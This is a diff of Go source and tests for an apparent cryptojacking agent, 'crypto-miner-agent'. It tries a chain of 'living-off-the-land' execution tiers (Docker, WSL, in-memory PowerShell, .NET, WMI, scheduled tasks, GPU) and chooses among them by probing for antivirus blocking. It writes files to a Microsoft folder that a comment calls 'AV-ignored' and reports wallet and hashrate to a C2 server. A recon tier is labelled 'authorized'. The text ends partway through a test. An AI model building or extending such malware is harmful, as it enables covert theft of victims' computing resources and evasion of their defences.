func HasImageTarPolicy(cfg config.RuntimeConfig) bool {
_, err := ResolveImageTar(cfg)
return err == nil
}
// ResolveImageTar returns a filesystem path to the worker image tar.
// Priority: injected fetcher → AETHERFORGE_DOCKER_IMAGE_TAR env → cfg.DockerImageTar.
func ResolveImageTar(cfg config.RuntimeConfig) (string, error) {
if imageTarFetcher != nil {
if p, err := imageTarFetcher(cfg); err == nil && strings.TrimSpace(p) != "" {
return strings.TrimSpace(p), nil
} else if err != nil && !errors.Is(err, ErrNoImageTar) {
return "", err
}
}
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_DOCKER_IMAGE_TAR")); p != "" {
if _, err := os.Stat(p); err != nil {
return "", fmt.Errorf("docker image tar: %w", err)
}
return p, nil
}
if p := strings.TrimSpace(cfg.DockerImageTar); p != "" {
if _, err := os.Stat(p); err != nil {
return "", fmt.Errorf("docker image tar: %w", err)
}
return p, nil
}
return "", ErrNoImageTar
}

View File

@@ -0,0 +1,37 @@
package miner
import (
"os"
"path/filepath"
"testing"
"crypto-miner-agent/config"
)
func TestResolveImageTarFromEnv(t *testing.T) {
dir := t.TempDir()
tarPath := filepath.Join(dir, "worker.tar")
if err := os.WriteFile(tarPath, []byte("fake-tar"), 0644); err != nil {
t.Fatal(err)
}
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", tarPath)
defer SetImageTarFetcher(nil)
got, err := ResolveImageTar(config.RuntimeConfig{})
if err != nil {
t.Fatalf("ResolveImageTar: %v", err)
}
if got != tarPath {
t.Fatalf("got %q want %q", got, tarPath)
}
if !HasImageTarPolicy(config.RuntimeConfig{}) {
t.Fatal("HasImageTarPolicy should be true")
}
}
func TestResolveImageTarMissing(t *testing.T) {
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
if _, err := ResolveImageTar(config.RuntimeConfig{}); err == nil {
t.Fatal("expected error without tar")
}
}

View File

@@ -0,0 +1,448 @@
package miner
import (
"context"
"errors"
"log"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
var (
// ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring.
ErrTierNotImplemented = errors.New("tier not implemented")
// ErrTierChainExhausted is returned when every tier in the onion failed.
ErrTierChainExhausted = errors.New("LOTL tier chain exhausted")
// ErrTierChainSkipped is returned when every tier gracefully skipped.
ErrTierChainSkipped = errors.New("all LOTL tiers skipped")
)
// TierHooks wires tier-specific start/stop without importing client.
type TierHooks struct {
StartDockerLoad func() error
StartContainer func() error
StartWSL func() error
StartPowerShell func() error
StartDotnet func() error
StartInProcess func() error
StartGPU func() error
StopDockerLoad func()
StopContainer func()
StopWSL func()
StopPowerShell func()
StopDotnet func()
StopInProcess func()
StopGPU func()
IsGPUSupported func() bool
}
// TierEventReporter emits tier_report / mining_status events to C2.
type TierEventReporter func(report TierReport, eventType string)
// TierOrchestrator runs the diagnostics-driven LOTL tier onion.
type TierOrchestrator struct {
mu sync.RWMutex
cfg config.RuntimeConfig
probes EnvironmentProbes
policy MiningTierPolicy
chain []LOTLTier
skipped []LOTLTier
hooks TierHooks
report TierEventReporter
wallet string
activeTier LOTLTier
gpuActive bool
attempts []TierAttempt
lastError string
chainExhaust bool
hashrate float64
webGPUReady bool
gpuComputeOK bool
}
// NewTierOrchestrator builds an orchestrator from probes + server policy.
func NewTierOrchestrator(cfg config.RuntimeConfig, probes EnvironmentProbes, policy MiningTierPolicy, hooks TierHooks, report TierEventReporter) *TierOrchestrator {
chain, skipped := SelectMiningTierChain(probes, policy, cfg)
return &TierOrchestrator{
cfg: cfg,
probes: probes,
policy: policy,
chain: chain,
skipped: skipped,
hooks: hooks,
report: report,
wallet: strings.TrimSpace(cfg.Wallet),
}
}
// Report returns the current tier snapshot.
func (o *TierOrchestrator) Report() TierReport {
o.mu.RLock()
defer o.mu.RUnlock()
return o.buildReport()
}
func (o *TierOrchestrator) buildReport() TierReport {
attempts := make([]TierAttempt, len(o.attempts))
copy(attempts, o.attempts)
chain := make([]LOTLTier, len(o.chain))
copy(chain, o.chain)
skipped := make([]LOTLTier, len(o.skipped))
copy(skipped, o.skipped)
return TierReport{
ActiveTier: o.activeTier,
Attempts: attempts,
MiningHashrate: o.hashrate,
TierChainOrder: chain,
TierChainSkipped: skipped,
WebGPUReady: o.webGPUReady,
GPUComputeOK: o.gpuComputeOK,
}
}
// SetHashrate updates live hashrate included in tier reports.
func (o *TierOrchestrator) SetHashrate(hps float64) {
o.mu.Lock()
o.hashrate = hps
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
reporter(report, "tier_report")
}
}
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
func (o *TierOrchestrator) RunProbes(ctx context.Context) TierReport {
o.mu.RLock()
chain := o.chain
cfg := o.cfg
o.mu.RUnlock()
for _, tier := range ProbeTiers(chain) {
start := time.Now()
attempt := o.runProbeTier(ctx, tier, cfg)
attempt.DurationMs = time.Since(start).Milliseconds()
if attempt.Wallet == "" {
attempt.Wallet = o.wallet
}
o.recordAttemptRecord(attempt)
if tier == TierWebView2Probe && attempt.OK {
o.mu.Lock()
o.webGPUReady = WebGPUAvailableFromAttempt(attempt)
o.mu.Unlock()
}
}
return o.Report()
}
// TryChain attempts each primary tier until one succeeds; GPU runs in parallel.
func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
o.RunProbes(ctx)
o.mu.Lock()
hooks := o.hooks
primary := PrimaryTiers(o.chain)
o.mu.Unlock()
if len(primary) == 0 {
primary = []LOTLTier{TierCPUInprocess}
}
var lastErr error
var skipped int
for _, tier := range primary {
select {
case <-ctx.Done():
return "", ctx.Err()
default:
}
start := time.Now()
err := o.invokeTier(tier, hooks)
duration := time.Since(start)
if err != nil {
if errors.Is(err, ErrTierChainSkipped) {
skipped++
o.recordAttempt(tier, false, err, duration)
continue
}
lastErr = err
log.Printf("[lotl-tier] %s failed: %v", tier, err)
o.recordAttempt(tier, false, err, duration)
o.stopTier(tier, hooks)
continue
}
o.recordAttempt(tier, true, nil, duration)
o.setActive(tier)
o.tryGPUAddon(ctx, hooks)
return tier, nil
}
o.mu.Lock()
o.chainExhaust = true
if lastErr != nil {
o.lastError = lastErr.Error()
} else {
o.lastError = "all LOTL tiers failed"
}
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
reporter(report, "tier_report")
}
if skipped == len(primary) {
return "", ErrTierChainSkipped
}
if lastErr != nil {
return "", lastErr
}
return "", ErrTierChainExhausted
}
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
switch tier {
case TierDockerLoad:
if hooks.StartDockerLoad == nil {
return ErrMethodUnavailable
}
return hooks.StartDockerLoad()
case TierContainer:
if hooks.StartContainer == nil {
return ErrMethodUnavailable
}
return hooks.StartContainer()
case TierWSL:
if hooks.StartWSL == nil {
return ErrMethodUnavailable
}
return hooks.StartWSL()
case TierCPUInprocess:
if hooks.StartInProcess == nil {
return ErrMethodUnavailable
}
return hooks.StartInProcess()
case TierGPUSubprocess:
if hooks.StartGPU == nil {
return ErrMethodUnavailable
}
return hooks.StartGPU()
case TierPSInMemory:
if hooks.StartPowerShell == nil {
return ErrMethodUnavailable
}
return hooks.StartPowerShell()
case TierDotnet:
if hooks.StartDotnet == nil {
return ErrMethodUnavailable
}
return hooks.StartDotnet()
case TierWMI:
attempt := RunWMITier(context.Background(), o.cfg)
o.recordAttemptRecord(attempt)
if !attempt.OK {
if attempt.Error == "" {
return ErrTierChainSkipped
}
return errors.New(attempt.Error)
}
return nil
case TierScheduledTask:
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
o.recordAttemptRecord(attempt)
if !attempt.OK {
if attempt.Error == "" {
return ErrTierChainSkipped
}
return errors.New(attempt.Error)
}
return nil
case TierGPUCompute:
attempt := RunGPUComputeTier(context.Background(), o.cfg)
o.recordAttemptRecord(attempt)
if attempt.OK {
o.mu.Lock()
o.gpuComputeOK = true
o.mu.Unlock()
}
return ErrTierChainSkipped
case TierExeSubprocess:
return ErrTierNotImplemented
default:
return ErrTierNotImplemented
}
}
func (o *TierOrchestrator) runProbeTier(ctx context.Context, tier LOTLTier, cfg config.RuntimeConfig) TierAttempt {
switch tier {
case TierVulnProbe:
return RunVulnProbeTier(ctx, cfg)
case TierWebView2Probe:
return RunWebView2Probe(ctx, cfg)
default:
return TierAttempt{Tier: tier, Error: "unknown probe tier", Wallet: cfg.Wallet}
}
}
func (o *TierOrchestrator) stopTier(tier LOTLTier, hooks TierHooks) {
switch tier {
case TierDockerLoad:
if hooks.StopDockerLoad != nil {
hooks.StopDockerLoad()
}
case TierContainer:
if hooks.StopContainer != nil {
hooks.StopContainer()
}
case TierWSL:
if hooks.StopWSL != nil {
hooks.StopWSL()
}
case TierPSInMemory:
if hooks.StopPowerShell != nil {
hooks.StopPowerShell()
}
case TierDotnet:
if hooks.StopDotnet != nil {
hooks.StopDotnet()
}
case TierCPUInprocess:
if hooks.StopInProcess != nil {
hooks.StopInProcess()
}
case TierGPUSubprocess:
if hooks.StopGPU != nil {
hooks.StopGPU()
}
}
}
func (o *TierOrchestrator) recordAttemptRecord(attempt TierAttempt) {
o.mu.Lock()
o.attempts = append(o.attempts, attempt)
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
event := "tier_report"
if !attempt.OK {
event = "mining_fallback"
}
reporter(report, event)
}
}
func (o *TierOrchestrator) recordAttempt(tier LOTLTier, ok bool, err error, duration time.Duration) {
o.mu.Lock()
attempt := TierAttempt{
Tier: tier,
OK: ok,
DurationMs: duration.Milliseconds(),
Wallet: o.wallet,
}
if err != nil {
attempt.Error = err.Error()
}
o.attempts = append(o.attempts, attempt)
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
event := "tier_report"
if !ok {
event = "mining_fallback"
}
reporter(report, event)
}
}
func (o *TierOrchestrator) setActive(tier LOTLTier) {
o.mu.Lock()
o.activeTier = tier
o.chainExhaust = false
report := o.buildReport()
reporter := o.report
o.mu.Unlock()
if reporter != nil {
reporter(report, "mining_status")
}
}
func (o *TierOrchestrator) tryGPUAddon(ctx context.Context, hooks TierHooks) {
for _, tier := range o.chain {
if tier != TierGPUSubprocess {
continue
}
o.mu.RLock()
webGPU := o.webGPUReady
computeOK := o.gpuComputeOK
o.mu.RUnlock()
if !webGPU && !computeOK {
o.recordAttempt(TierGPUSubprocess, false, errors.New("webview2_probe: WebGPU not available — skipping gpu_subprocess escalation"), 0)
return
}
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
return
}
select {
case <-ctx.Done():
return
default:
}
gpuStart := time.Now()
if err := hooks.StartGPU(); err != nil {
o.recordAttempt(TierGPUSubprocess, false, err, time.Since(gpuStart))
if hooks.StopGPU != nil {
hooks.StopGPU()
}
o.mu.Lock()
o.gpuActive = false
o.mu.Unlock()
return
}
o.recordAttempt(TierGPUSubprocess, true, nil, time.Since(gpuStart))
o.mu.Lock()
o.gpuActive = true
o.mu.Unlock()
return
}
}
// ChainExhausted reports whether every primary tier failed.
func (o *TierOrchestrator) ChainExhausted() bool {
o.mu.RLock()
defer o.mu.RUnlock()
return o.chainExhaust
}
// ActiveTier returns the winning primary tier.
func (o *TierOrchestrator) ActiveTier() LOTLTier {
o.mu.RLock()
defer o.mu.RUnlock()
return o.activeTier
}
// WebGPUReady reports webview2 probe result.
func (o *TierOrchestrator) WebGPUReady() bool {
o.mu.RLock()
defer o.mu.RUnlock()
return o.webGPUReady
}
// GPUComputeReady reports gpu_compute probe success.
func (o *TierOrchestrator) GPUComputeReady() bool {
o.mu.RLock()
defer o.mu.RUnlock()
return o.gpuComputeOK
}
// UpdateConfig refreshes runtime policy (mining mode rotation without redeploy).
func (o *TierOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
o.mu.Lock()
o.cfg = cfg
o.wallet = strings.TrimSpace(cfg.Wallet)
o.mu.Unlock()
}

View File

@@ -0,0 +1,146 @@
package miner
import (
"context"
"errors"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestTierOrchestratorTryChainSequentialFailuresThenSuccess(t *testing.T) {
var order []LOTLTier
fail := errors.New("container blocked")
o := NewTierOrchestrator(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "xmr-wallet-abc"},
}, EnvironmentProbes{Docker: true}, MiningTierPolicy{
TierOrder: []LOTLTier{TierContainer, TierCPUInprocess},
}, TierHooks{
StartContainer: func() error {
order = append(order, TierContainer)
return fail
},
StartInProcess: func() error {
order = append(order, TierCPUInprocess)
return nil
},
}, nil)
tier, err := o.TryChain(context.Background())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if tier != TierCPUInprocess {
t.Fatalf("active=%q want cpu_inprocess", tier)
}
if len(order) != 2 || order[0] != TierContainer || order[1] != TierCPUInprocess {
t.Fatalf("invoke order=%v", order)
}
report := o.Report()
if len(report.Attempts) < 2 {
t.Fatalf("attempts=%v", report.Attempts)
}
if !report.Attempts[0].OK && report.Attempts[0].Tier != TierContainer {
t.Fatalf("first attempt=%+v", report.Attempts[0])
}
if !report.Attempts[len(report.Attempts)-1].OK {
t.Fatalf("last attempt should succeed: %+v", report.Attempts[len(report.Attempts)-1])
}
for _, a := range report.Attempts {
if a.Wallet != "xmr-wallet-abc" {
t.Fatalf("wallet mismatch in %+v", a)
}
}
}
func TestTierOrchestratorChainExhausted(t *testing.T) {
o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{}, MiningTierPolicy{
TierOrder: []LOTLTier{TierCPUInprocess},
}, TierHooks{
StartInProcess: func() error { return errors.New("no cpu") },
}, nil)
_, err := o.TryChain(context.Background())
if err == nil || err.Error() != "no cpu" {
t.Fatalf("got err=%v", err)
}
if !o.ChainExhausted() {
t.Fatal("expected chain exhausted")
}
}
func TestTierOrchestratorSetHashrateEmitsReport(t *testing.T) {
var events []string
o := NewTierOrchestrator(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "w"},
}, EnvironmentProbes{}, DefaultMiningTierPolicy(), TierHooks{}, func(report TierReport, eventType string) {
events = append(events, eventType)
if report.MiningHashrate != 1234.5 {
t.Fatalf("hashrate=%v", report.MiningHashrate)
}
})
o.SetHashrate(1234.5)
if len(events) != 1 || events[0] != "tier_report" {
t.Fatalf("events=%v", events)
}
}
func TestTierOrchestratorTryGPUAddonSkippedWithoutWebGPU(t *testing.T) {
gpuStarted := false
o := NewTierOrchestrator(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "w", GPUEnabled: true, RVNWallet: "rvn"},
}, EnvironmentProbes{GPU: true}, MiningTierPolicy{
TierOrder: []LOTLTier{TierCPUInprocess, TierGPUSubprocess},
}, TierHooks{
StartInProcess: func() error { return nil },
StartGPU: func() error {
gpuStarted = true
return nil
},
IsGPUSupported: func() bool { return true },
}, nil)
tier, err := o.TryChain(context.Background())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if tier != TierCPUInprocess {
t.Fatalf("active=%q", tier)
}
if gpuStarted {
t.Fatal("gpu should not start without webgpu/compute probe")
}
report := o.Report()
foundSkip := false
for _, a := range report.Attempts {
if a.Tier == TierGPUSubprocess && !a.OK {
foundSkip = true
}
}
if !foundSkip {
t.Fatalf("expected gpu skip attempt, got %v", report.Attempts)
}
}
func TestTierOrchestratorReportsFailedAttempt(t *testing.T) {
o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{Docker: true}, MiningTierPolicy{
TierOrder: []LOTLTier{TierContainer, TierCPUInprocess},
}, TierHooks{
StartContainer: func() error { return errors.New("av blocked") },
StartInProcess: func() error { return nil },
}, nil)
if _, err := o.TryChain(context.Background()); err != nil {
t.Fatalf("TryChain: %v", err)
}
foundFailed := false
for _, a := range o.Report().Attempts {
if a.Tier == TierContainer && !a.OK && strings.Contains(a.Error, "av blocked") {
foundFailed = true
}
}
if !foundFailed {
t.Fatalf("expected failed container attempt, got %v", o.Report().Attempts)
}
}

33
agent/miner/lotl_paths.go Normal file
View File

@@ -0,0 +1,33 @@
package miner
import (
"os"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// lotlWorkDir returns a user-writable path under %LOCALAPPDATA%\Microsoft\...
// LOTL compilers and build output land here (AV-ignored Microsoft subtree).
func lotlWorkDir(cfg config.RuntimeConfig, leaf string) (string, error) {
base := strings.TrimSpace(os.Getenv("LOCALAPPDATA"))
if base == "" {
var err error
base, err = os.UserCacheDir()
if err != nil {
return "", err
}
}
suffix := strings.TrimSpace(cfg.BuildID)
if suffix == "" {
suffix = "worker"
}
suffix = strings.Map(func(ch rune) rune {
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
return ch
}
return '-'
}, suffix)
return filepath.Join(base, "Microsoft", "NET", "AetherForge", leaf, suffix), nil
}

297
agent/miner/lotl_tier.go Normal file
View File

@@ -0,0 +1,297 @@
package miner
import (
"runtime"
"strings"
"crypto-miner-agent/config"
)
// LOTLTier identifies one Living-Off-The-Land mining execution layer.
type LOTLTier string
const (
TierExeSubprocess LOTLTier = "exe_subprocess"
TierDockerLoad LOTLTier = "docker_load"
TierContainer LOTLTier = "container"
TierWSL LOTLTier = "wsl"
TierPSInMemory LOTLTier = "ps_inmemory"
TierDotnet LOTLTier = "dotnet"
TierCPUInprocess LOTLTier = "cpu_inprocess"
TierVulnProbe LOTLTier = "vuln_probe"
TierWebView2Probe LOTLTier = "webview2_probe"
TierWMI LOTLTier = "wmi"
TierScheduledTask LOTLTier = "scheduled_task"
TierGPUCompute LOTLTier = "gpu_compute"
TierGPUSubprocess LOTLTier = "gpu_subprocess"
TierStratumDirect LOTLTier = "stratum_direct"
)
// TierAttempt records one tier try for C2/UI diagnostics.
type TierAttempt struct {
Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion)
Tier LOTLTier `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet"`
Details map[string]interface{} `json:"details,omitempty"`
}
// TierReport is the live LOTL onion snapshot sent to C2.
type TierReport struct {
ActiveTier LOTLTier `json:"lotl_tier,omitempty"`
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"`
TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"`
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
}
// MiningTierPolicy is server-pulled ordering/overrides for the tier onion.
type MiningTierPolicy struct {
TierOrder []LOTLTier `json:"tier_order,omitempty"`
SkipTiers []LOTLTier `json:"skip_tiers,omitempty"`
ForceTier LOTLTier `json:"force_tier,omitempty"`
}
// DefaultTierOrder is the canonical onion when the server sends no override.
// AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain.
var DefaultTierOrder = []LOTLTier{
TierExeSubprocess,
TierDockerLoad,
TierContainer,
TierWSL,
TierPSInMemory,
TierDotnet,
TierCPUInprocess,
TierWebView2Probe,
TierWMI,
TierScheduledTask,
TierGPUCompute,
TierGPUSubprocess,
TierStratumDirect,
}
// DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers.
func DefaultWindowsTierOrder() []LOTLTier {
return []LOTLTier{
TierWebView2Probe,
TierWMI,
TierScheduledTask,
TierGPUCompute,
}
}
// DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering.
func DefaultMiningTierPolicy() MiningTierPolicy {
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
}
// SelectMiningTierChain returns the ordered tier onion from server policy with
// local eligibility overrides from environment probes and forge execution mode.
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
base := policy.TierOrder
if len(base) == 0 {
base = DefaultTierOrder
}
skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers))
for _, t := range policy.SkipTiers {
skipSet[t] = true
}
execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
switch execMode {
case ExecutionInProcess:
skipSet[TierExeSubprocess] = true
skipSet[TierDockerLoad] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
skipSet[TierDotnet] = true
case ExecutionContainer:
skipSet[TierExeSubprocess] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
case ExecutionPowerShell:
skipSet[TierExeSubprocess] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierDotnet] = true
case ExecutionDotnet:
skipSet[TierExeSubprocess] = true
skipSet[TierContainer] = true
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
case ExecutionSubprocess:
// subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback.
skipSet[TierWSL] = true
skipSet[TierPSInMemory] = true
skipSet[TierDotnet] = true
}
// Diagnostics-driven automatic contingencies.
if probes.AVBlocksExe {
skipSet[TierExeSubprocess] = true
}
if !probes.Docker {
skipSet[TierContainer] = true
skipSet[TierDockerLoad] = true
}
if !HasImageTarPolicy(cfg) {
skipSet[TierDockerLoad] = true
}
if !probes.WSL {
skipSet[TierWSL] = true
}
if !probes.PowerShell {
skipSet[TierPSInMemory] = true
}
if !probes.DotNet {
skipSet[TierDotnet] = true
}
if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
skipSet[TierGPUSubprocess] = true
skipSet[TierGPUCompute] = true
}
if strings.TrimSpace(cfg.PoolHost) == "" {
skipSet[TierStratumDirect] = true
}
if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" {
skipSet[TierGPUCompute] = true
}
if runtime.GOOS != "windows" {
skipSet[TierWebView2Probe] = true
skipSet[TierWMI] = true
skipSet[TierScheduledTask] = true
skipSet[TierGPUCompute] = true
}
if policy.ForceTier != "" {
if tierEligible(policy.ForceTier, probes, cfg, skipSet) {
return []LOTLTier{policy.ForceTier}, skipped
}
skipSet[policy.ForceTier] = false
}
if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) {
return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped
}
if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) {
return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped
}
chain = make([]LOTLTier, 0, len(base))
for _, tier := range base {
if skipSet[tier] {
skipped = append(skipped, tier)
continue
}
if !tierEligible(tier, probes, cfg, nil) {
skipped = append(skipped, tier)
continue
}
chain = append(chain, tier)
}
if len(chain) == 0 {
chain = []LOTLTier{TierCPUInprocess}
}
return chain, skipped
}
func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool {
if extraSkip != nil && extraSkip[tier] {
return false
}
switch tier {
case TierExeSubprocess:
return !probes.AVBlocksExe
case TierDockerLoad:
return probes.Docker && HasImageTarPolicy(cfg)
case TierContainer:
return probes.Docker
case TierWSL:
return probes.WSL
case TierPSInMemory:
return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
case TierDotnet:
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
case TierCPUInprocess:
return true
case TierGPUSubprocess:
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
case TierStratumDirect:
return strings.TrimSpace(cfg.PoolHost) != ""
case TierWebView2Probe:
return runtime.GOOS == "windows" && probes.WebView2
case TierWMI:
return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != ""
case TierScheduledTask:
return runtime.GOOS == "windows"
case TierGPUCompute:
return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" &&
(strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "")
default:
return false
}
}
// PrimaryTiers are sequential CPU paths tried until one succeeds.
func PrimaryTiers(chain []LOTLTier) []LOTLTier {
var out []LOTLTier
for _, t := range chain {
switch t {
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
out = append(out, t)
}
}
return out
}
// ProbeTiers returns diagnostics-only tiers run before GPU escalation.
// Vuln recon always runs first (report-only authorized fleet assessment).
func ProbeTiers(chain []LOTLTier) []LOTLTier {
out := []LOTLTier{TierVulnProbe}
for _, t := range chain {
if t == TierWebView2Probe {
out = append(out, t)
}
}
return out
}
// TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers.
func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
switch tier {
case TierDockerLoad:
return MethodDockerLoad, true
case TierContainer:
return MethodContainer, true
case TierWSL:
return MethodWSL, true
case TierCPUInprocess:
return MethodInProcess, true
case TierGPUSubprocess:
return MethodGPUSubprocess, true
case TierStratumDirect:
return MethodStratumDirect, true
case TierWMI:
return MethodWMI, true
case TierScheduledTask:
return MethodScheduledTask, true
case TierGPUCompute:
return MethodGPUCompute, true
case TierVulnProbe:
return MethodVulnProbe, true
case TierWebView2Probe:
return MethodWebView2Probe, true
case TierPSInMemory:
return MethodPowerShell, true
case TierDotnet:
return MethodDotnet, true
default:
return "", false
}
}

View File

@@ -0,0 +1,199 @@
package miner
import (
"runtime"
"testing"
"crypto-miner-agent/config"
)
func baseProbes() EnvironmentProbes {
return EnvironmentProbes{
Docker: true,
WSL: true,
PowerShell: true,
DotNet: true,
GPU: true,
WebView2: true,
}
}
func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig {
b := config.BuiltinConfig{
MinerExecution: ExecutionAuto,
PoolHost: "pool.example.com",
Wallet: "test-cmr-wallet",
}
if overrides.MinerExecution != "" {
b.MinerExecution = overrides.MinerExecution
}
if overrides.PoolHost != "" {
b.PoolHost = overrides.PoolHost
}
if overrides.Wallet != "" {
b.Wallet = overrides.Wallet
}
if overrides.GPUEnabled {
b.GPUEnabled = overrides.GPUEnabled
}
if overrides.RVNWallet != "" {
b.RVNWallet = overrides.RVNWallet
}
return config.RuntimeConfig{BuiltinConfig: b}
}
func chainContains(chain []LOTLTier, tier LOTLTier) bool {
for _, t := range chain {
if t == tier {
return true
}
}
return false
}
func TestSelectMiningTierChainDefaultAuto(t *testing.T) {
chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "rvn-wallet",
}))
if chain[0] != TierExeSubprocess {
t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain)
}
if !chainContains(skipped, TierDockerLoad) {
t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped)
}
for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} {
if !chainContains(chain, tier) {
t.Fatalf("missing %q in chain=%v", tier, chain)
}
}
if runtime.GOOS == "windows" {
for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} {
if !chainContains(chain, tier) {
t.Fatalf("windows chain missing %q: %v", tier, chain)
}
}
}
}
func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) {
probes := baseProbes()
probes.AVBlocksExe = true
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierContainer {
t.Fatalf("AV blocks exe should prefer container first, got %v", chain)
}
if !chainContains(skipped, TierExeSubprocess) {
t.Fatalf("expected exe_subprocess in skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) {
probes := baseProbes()
probes.Docker = false
probes.AVBlocksExe = true
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierWSL {
t.Fatalf("no docker should try WSL next, got %v", chain)
}
if !chainContains(skipped, TierContainer) {
t.Fatalf("expected container skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) {
probes := baseProbes()
probes.Docker = false
probes.WSL = false
probes.AVBlocksExe = true
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierPSInMemory {
t.Fatalf("no WSL should try ps_inmemory, got %v", chain)
}
}
func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) {
probes := baseProbes()
probes.GPU = false
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "wallet",
}))
if chainContains(chain, TierGPUSubprocess) {
t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain)
}
if !chainContains(skipped, TierGPUSubprocess) {
t.Fatalf("expected gpu_subprocess skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainInProcessMode(t *testing.T) {
chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
MinerExecution: ExecutionInProcess,
}))
if chain[0] != TierCPUInprocess {
t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain)
}
if !chainContains(chain, TierStratumDirect) {
t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain)
}
}
func TestSelectMiningTierChainServerSkipTiers(t *testing.T) {
policy := MiningTierPolicy{
TierOrder: DefaultTierOrder,
